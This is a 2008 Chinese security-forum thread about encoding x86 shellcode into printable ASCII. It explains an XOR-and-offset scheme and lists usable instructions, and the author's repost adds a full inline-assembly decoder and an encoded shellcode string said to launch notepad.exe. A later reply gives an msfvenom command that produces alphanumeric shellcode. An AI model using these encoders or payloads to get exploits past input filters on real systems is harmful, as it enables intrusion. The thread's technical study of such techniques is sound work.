首页
社区
课程
招聘
[原创]shellcode的一种ascii编码方法
发表于: 2008-8-18 20:02 7760

[原创]shellcode的一种ascii编码方法

2008-8-18 20:02
7760

初来乍到,发此一篇,请勿见笑

一、编码:直接替换法
所谓直接替换法,简单的说,就是遇到有效字符则直接输出,遇到无效字符现输出一位标志符(例如:'0'),
然后对其进行编码后输出,解码过程只需逆向操作即可。

ascii 字符集共0xFF个字符,其中有效的图形字符的范围为[0x21, 0x7E],若要将所有无效字符编码为[0x21, 0x7E],
只需加上一个偏移即可,然而无效字符数远大于有效字符数,一个偏移值时无法覆盖所有无效字符的,因此
我把无效字符集平分为两部分,将0x00与0xFF首尾相连,分为[0x21, 0x7E]左边0x51个,[0x21, 0x7E]右边0x51个
如下;
ascii table: |----------|----|-------------------|----|-------------------|----|-------------|
ascii:      0x00      0x20  0x21               0x7E 0x7F                0xCF 0xD0        0xFF
             left-invalid      valid(!= '"' ...)          right-invalid          left-invalid

若为左边无效字符,偏移值为[0x51, 0x5E],即:left_invalid += left_offset, left_invalid %= 256 => valid
若为右边无效字符,偏移值为[0xA3, 0xB0],即:right_invalid += right_offset, right_offset %= 256 => valid
具体选取那个偏移值视具体情况而定。

编码过程:
left_flag:标志字符,判断下一字符解码后是否为左无效字符,此处取:'0'
right_flag:标志字符,判断下一字符解码后是否为右无效字符,此处取:'1'

1. sc[i] ^= xor_byte(ascii);

2. if (sc[i] is left-invalid ascii)
   => left_flag ('0')
   => sc[i] -= left_offset [0x51, 0x5E]

3. if (sc[i] is right-invalid ascii)
   => right_flag ('1')
   => sc[i] -= right_offset [0xA3, 0xB0]

4. if (sc[i] is valid ascii)
   => sc[i]

5. => "01" // end

注:由于标志位已经使用了'0'、'1',那么在判断是否为有效字符时,还需要排除'0'、'1',最后以"01"标志结束。
为了达到更好的编码效果,在编码的第一步中,我对每个字符先进行异或,使无效字符数降到最低,而异或字节通过遍历[0x21, 0x7E]
进行选取。

二、可用的ascii指令
范围:[0x21, 0x7E] && != '"' && != '\\' ...

可以通过随机生成有效范围[0x21, 0x7E]内字节序列,然后用IDA反汇编后寻找有效指令。
我从中挑了一些比较有用的指令,如下:

1.数据传送:
push/pop eax...
pusha/popa

2.算术运算:
inc/dec eax...
sub     al, 立即数
sub     byte ptr [eax... + 立即数], al dl...
sub     byte ptr [eax... + 立即数], ah dh...
sub     dword ptr [eax... + 立即数], esi edi
sub     word ptr [eax... + 立即数], si di
sub     al dl..., byte ptr [eax... + 立即数]
sub     ah dh..., byte ptr [eax... + 立即数]
sub     esi edi, dword ptr [eax... + 立即数]
sub     si di, word ptr [eax... + 立即数]

3.逻辑运算:
and     al, 立即数
and     dword ptr [eax... + 立即数], esi edi
and     word ptr [eax... + 立即数], si di
and     ah dh..., byte ptr [ecx edx... + 立即数]
and     esi edi, dword ptr [eax... + 立即数]
and     si di, word ptr [eax... + 立即数]

xor     al, 立即数
xor     byte ptr [eax... + 立即数], al dl...
xor     byte ptr [eax... + 立即数], ah dh...
xor     dword ptr [eax... + 立即数], esi edi
xor     word ptr [eax... + 立即数], si di
xor     al dl..., byte ptr [eax... + 立即数]
xor     ah dh..., byte ptr [eax... + 立即数]
xor     esi edi, dword ptr [eax... + 立即数]
xor     si di, word ptr [eax... + 立即数]

4.比较指令:
cmp     al, 立即数
cmp     byte ptr [eax... + 立即数], al dl...
cmp     byte ptr [eax... + 立即数], ah dh...
cmp     dword ptr [eax... + 立即数], esi edi
cmp     word ptr [eax... + 立即数], si di
cmp     al dl..., byte ptr [eax... + 立即数]
cmp     ah dh..., byte ptr [eax... + 立即数]
cmp     esi edi, dword ptr [eax... + 立即数]
cmp     si di, word ptr [eax... + 立即数]

5.转移指令:
push        56h
pop                eax
cmp                al, 43h
jnz                lable

<=> jmp lable

6.交换al, ah
push        eax
xor                ah, byte ptr [esp]                // ah ^= al
xor                byte ptr [esp], ah                // al ^= ah
xor                ah, byte ptr [esp]                // ah ^= al
pop                eax                               

7.清零:
push        44h
pop                eax
sub                al, 44h                ; eax = 0

push        esi
push        esp
pop                eax
xor                [eax], esi        ; esi = 0

三、解码


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (13)
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
2
学习~
2008-8-18 22:15
0
雪    币: 183
活跃值: (563)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
3
初来乍到,发此一篇,请勿见笑

一、编码:直接替换法
所谓直接替换法,简单的说,就是遇到有效字符则直接输出,遇到无效字符现输出一位标志符(例如:'0'),
然后对其进行编码后输出,解码过程只需逆向操作即可。
使用直接替换法进行编码,大小在原码的1.3 - 1.5倍左右.

ascii 字符集共0xFF个字符,其中有效的图形字符的范围为[0x21, 0x7E],若要将所有无效字符编码为[0x21, 0x7E],
只需加上一个偏移即可,然而无效字符数远大于有效字符数,一个偏移值时无法覆盖所有无效字符的,因此
我把无效字符集平分为两部分,将0x00与0xFF首尾相连,分为[0x21, 0x7E]左边0x51个,[0x21, 0x7E]右边0x51个
如下;
ascii table: |----------|----|-------------------|----|-------------------|----|-------------|
ascii:      0x00      0x20  0x21               0x7E 0x7F                0xCF 0xD0        0xFF
             left-invalid      valid(!= '"' ...)          right-invalid          left-invalid

若为左边无效字符,偏移值为[0x51, 0x5E],即:left_invalid += left_offset, left_invalid %= 256 => valid
若为右边无效字符,偏移值为[0xA3, 0xB0],即:right_invalid += right_offset, right_offset %= 256 => valid
具体选取那个偏移值视具体情况而定。

编码过程:
left_flag:标志字符,判断下一字符解码后是否为左无效字符,此处取:'0'
right_flag:标志字符,判断下一字符解码后是否为右无效字符,此处取:'1'

1. sc[i] ^= xor_byte(ascii);

2. if (sc[i] is left-invalid ascii)
   => left_flag ('0')
   => sc[i] -= left_offset [0x51, 0x5E]

3. if (sc[i] is right-invalid ascii)
   => right_flag ('1')
   => sc[i] -= right_offset [0xA3, 0xB0]

4. if (sc[i] is valid ascii)
   => sc[i]

5. => "01" // end

注:由于标志位已经使用了'0'、'1',那么在判断是否为有效字符时,还需要排除'0'、'1',最后以"01"标志结束。
为了达到更好的编码效果,在编码的第一步中,我对每个字符先进行异或,使无效字符数降到最低,而异或字节通过遍历[0x21, 0x7E]
进行选取。

二、可用的ascii指令
范围:[0x21, 0x7E] && != '"' && != '\\' ...

可以通过随机生成有效范围[0x21, 0x7E]内字节序列,然后用IDA反汇编后寻找有效指令。
我从中挑了一些比较有用的指令,如下:

1.数据传送:
push/pop eax...
pusha/popa

2.算术运算:
inc/dec eax...
sub     al, 立即数
sub     byte ptr [eax... + 立即数], al dl...
sub     byte ptr [eax... + 立即数], ah dh...
sub     dword ptr [eax... + 立即数], esi edi
sub     word ptr [eax... + 立即数], si di
sub     al dl..., byte ptr [eax... + 立即数]
sub     ah dh..., byte ptr [eax... + 立即数]
sub     esi edi, dword ptr [eax... + 立即数]
sub     si di, word ptr [eax... + 立即数]

3.逻辑运算:
and     al, 立即数
and     dword ptr [eax... + 立即数], esi edi
and     word ptr [eax... + 立即数], si di
and     ah dh..., byte ptr [ecx edx... + 立即数]
and     esi edi, dword ptr [eax... + 立即数]
and     si di, word ptr [eax... + 立即数]

xor     al, 立即数
xor     byte ptr [eax... + 立即数], al dl...
xor     byte ptr [eax... + 立即数], ah dh...
xor     dword ptr [eax... + 立即数], esi edi
xor     word ptr [eax... + 立即数], si di
xor     al dl..., byte ptr [eax... + 立即数]
xor     ah dh..., byte ptr [eax... + 立即数]
xor     esi edi, dword ptr [eax... + 立即数]
xor     si di, word ptr [eax... + 立即数]

4.比较指令:
cmp     al, 立即数
cmp     byte ptr [eax... + 立即数], al dl...
cmp     byte ptr [eax... + 立即数], ah dh...
cmp     dword ptr [eax... + 立即数], esi edi
cmp     word ptr [eax... + 立即数], si di
cmp     al dl..., byte ptr [eax... + 立即数]
cmp     ah dh..., byte ptr [eax... + 立即数]
cmp     esi edi, dword ptr [eax... + 立即数]
cmp     si di, word ptr [eax... + 立即数]

5.转移指令:
push        56h
pop                eax
cmp                al, 43h
jnz                lable

<=> jmp lable

6.交换al, ah
push        eax
xor                ah, byte ptr [esp]                // ah ^= al
xor                byte ptr [esp], ah                // al ^= ah
xor                ah, byte ptr [esp]                // ah ^= al
pop                eax                               

7.清零:
push        44h
pop                eax
sub                al, 44h                ; eax = 0

push        esi
push        esp
pop                eax
xor                [eax], esi        ; esi = 0

三、解码

// ascii_encoder
#define ascii_left_invalid_flag_		'0'
#define ascii_right_invalid_flag_		'1'
#define ascii_left_offset_				54h
#define ascii_right_offset_1_			46h
#define ascii_right_offset_2_			5Dh		// ascii_right_offset_2_ = ascii_right_offset_1_ + ascii_right_offset_2_
#define ascii_xor_byte_					21h
#define	ascii_base_offset				02h

void decoder()
{
	__asm jmp sc_end
	__asm sc_begin:
	__asm
	{
		//int		3								// note: edx == base address + 1

		/////////////////////////////////////////////////////////////////////////////////
		// base address

		// ascii_base_offset == 09h
		/*
		dec		esp										// base address: [esp - 8]
		dec		esp
		dec		esp
		dec		esp
		dec		esp							
		dec		esp
		dec		esp
		dec		esp
		pop		edx
		*/

		// ascii_base_offset == 05h
		/*
		dec		esp										// base address: [esp - 4]
		dec		esp
		dec		esp
		dec		esp
		pop		edx
		*/

		// ascii_base_offset == 01h
		/*
		pop		edx										// base address: [esp]
		*/

		// ascii_base_offset == 02h
		/*
		pop		edx										// base address: [esp + 4]
		pop		edx
		*/

		// ascii_base_offset == 03h
		/*
		pop		edx										// base address: [esp + 8]
		pop		edx
		pop		edx
		*/

		// ascii_base_offset == 02h
		push	ecx										// base address: ecx
		pop		edx										// base address => edx

		/////////////////////////////////////////////////////////////////////////////////
		// padding + n bytes				
		//aaa											// 37h
		//aaa											// 37h
		//xor		[eax],	dh							// 30h 30h
		//xor		[eax],	dh
		//xor		[eax],	dh
		//xor		[eax],	dh
		/////////////////////////////////////////////////////////////////////////////////

		/////////////////////////////////////////////////////////////////////////////////
		// shellcode address
		push	esi
		push	esp
		pop		ecx
		xor		dword ptr [ecx], esi					// 0 => [esp]
		push	51h + ascii_base_offset
		pop		esi
		sub		dword ptr [ecx], esi					// [esp] -= shellcode_offset(60h + ascii_base_offset)
		pop		esi										// -shellcode_offset => esi

		push	edx										// base_addr => [esp]
		sub		dword ptr [esp], esi				
		pop		esi										// base_addr + shellcode_offset == shellcode address => esi
		
		push	esi
		pop		edi										// esi => edi

		/////////////////////////////////////////////////////////////////////////////////
		// code decoder
		push	7Dh
		pop		ecx
		sub		byte ptr [edx + 36h + ascii_base_offset], cl	// decode: cld == FCh == 79h - 7Dh
		// +3 bytes

		sub		byte ptr [edx + 37h + ascii_base_offset], cl	// decode: lodsb == ACh == 29h - 7Dh
		// +3 bytes

		sub		byte ptr [edx + 3Ch + ascii_base_offset], cl	// decode: lodsb == ACh == 29h - 7Dh
		// +3 bytes

		sub		byte ptr [edx + 47h + ascii_base_offset], cl	// decode: lodsb == ACh == 29h - 7Dh
		// +3 bytes

		sub		byte ptr [edx + 4Eh + ascii_base_offset], cl	// decode: stosb == AAh == 27h - 7Dh
		// +3 bytes

		sub		byte ptr [edx + 4Fh + ascii_base_offset], cl	// decode: jmp decode_loop == EBh E6h
		sub		byte ptr [edx + 50h + ascii_base_offset], cl	// decode: EBh == 68h - 7Dh, E6h == 63h - 7Dh
		// +6 bytes

		push	44h
		pop		ecx
		sub		byte ptr [edx + 3Bh + ascii_base_offset], cl	// decode: jnz next == 75h 07h == 75h (4Bh - 44h) 
		// +7 bytes

		sub		byte ptr [edx + 40h + ascii_base_offset], cl	// decode: jz end == 74h 10h == 75h (54h - 44h) 
		// +3 bytes

		sub		byte ptr [edx + 46h + ascii_base_offset], cl	// decode: jnz normal_char == 75h 05h == 75h (49h - 44h) 
		// +3 bytes

		/////////////////////////////////////////////////////////////////////////////////

		_emit	79h										// cld
		//cld

	decode_loop:
						
		_emit	29h										// lodsb
		//lodsb											// [esi] => al and ++esi 

		cmp		al, ascii_left_invalid_flag_
		
		_emit	75h
		_emit	4Bh										//jnz next
		//jnz		next

		/////////////////////////////////////////////////////////////////////////////////
		// left-characters decoder
		_emit	29h										// lodsb
		//lodsb											// [esi] => al and ++esi 

		cmp		al, ascii_right_invalid_flag_			// if (al == ascii_right_invalid_flag_)
		_emit	74h
		_emit	54h										// "01"(end) => jz end
		//jz		end						

		sub		al, ascii_left_offset_					// decode: al -= ascii_left_offset_

		//jmp		normal_char
		//al == ascii - ascii_left_offset_ != ascii != ascii_right_invalid_flag_(acsii)
		/////////////////////////////////////////////////////////////////////////////////
		
	next:
		cmp		al, ascii_right_invalid_flag_

		_emit	75h
		_emit	49h										//jnz normal_char
		//jnz		normal_char

		/////////////////////////////////////////////////////////////////////////////////
		// right-characters decoder
		_emit	29h										// lodsb
		//lodsb											// [esi] => al and ++esi 

		sub		al, ascii_right_offset_1_
		sub		al, ascii_right_offset_2_				// decode: al -= right_byte_

		/////////////////////////////////////////////////////////////////////////////////

	normal_char:
		xor		al, ascii_xor_byte_						// xor-decoder

		_emit	27h										// stosb
		//stosb											// al => [edi]

		_emit	68h
		_emit	63h										// jmp decode_loop
		//jmp decode_loop

	end:
														// old shellcode address <= esi, edi

	}

	__asm sc_end:
	unsigned int scLen;
	unsigned char* sc;
	__asm
	{
		lea eax, sc_begin
		mov sc, eax
		lea ebx, sc_end
		sub ebx, eax
		mov scLen, ebx
	}

	unsigned char sc_buf[2048];
	memcpy(sc_buf, sc, scLen);

	printf("decoder:\n%s\n", sc_buf);

	__asm
	{
		lea		ecx, sc_buf
		push	ecx
		ret
	}
}


以下这段是经过编码后的通用shellcode,
执行后启动的notepad.exe:

// base address => esp => jmp esp
// 285 bytes
char shellcode[]=       
"TZVTY11jS^)1^R)4$^V_j}Y(J8(J9(J>(JI(JP(JQ(JRjDY(J="
"(JB(JHy)<0uK)<1tT,Y<1uI),%,~4;'hc" // decoder
"0)LdQ0db_1S:1S{71SK'191SS31S1oQ8b0,,;;;021eSKZ_;SU"
"TO^1S0XQ:k1gm?1gm3jm1SN0`1SO0nC81qm1SM0t81q0a0Krz1"
"980W0a0941(+0Z0FO30S0I<80:{0)1m0Y$N05e1Se0x80?]1S7"
"p1Se'80?1S?1S80W13eb0Q0,1b1g1g1g0bO1M7j0m1<:X1U0Ct0"
"1"
;

注:编码后的大小为原码的1.3 - 1.5倍左右,还算不错,不过由于本人汇编功底不深,
decoder写得过于庞大,希望大家帮我优化优化,而且这种方法有其局限性,只能进行
字母与符号的混合编码。
2008-8-19 18:52
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
4
又发一遍啊?
2008-8-19 19:26
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
5
LZ昨天在编程区发一贴,发现米人顶,
遂今天跑到软调区再发一遍,结果发现2个人顶了。

不错。
2008-8-19 20:59
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
6
发新手区麻。。。早帮你加精置顶了。。。最近大家都忙着看奥运。。。论坛的在线人数少了好多
2008-8-19 21:19
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
顶,凑足6个字
2008-8-20 12:26
0
雪    币: 205
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
感觉还不错
2008-8-20 12:58
0
雪    币: 207
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
刚才看不明白就喀嚓掉了。
想着想着还是回来顶一下
2008-8-20 13:26
0
雪    币: 248
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
10
不错哦,这里高手太多了,唉,学都学不过来。
2008-8-20 13:44
0
雪    币: 190
活跃值: (20)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
11
一路夏风,清爽...
2008-8-20 15:10
0
雪    币: 183
活跃值: (563)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
12
初次发帖,不知道该往哪里发,大家不要见笑
2008-8-20 18:58
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
ding
2018-1-11 20:55
0
雪    币: 355
活跃值: (276)
能力值: ( LV11,RANK:190 )
在线值:
发帖
回帖
粉丝
14
msfvenom  -p  windows/exec  CMD="calc.exe"  -e  x86/unicode_mixed  BufferRegister=ESI
2018-1-15 08:32
0
游客
登录 | 注册 方可回帖
返回
//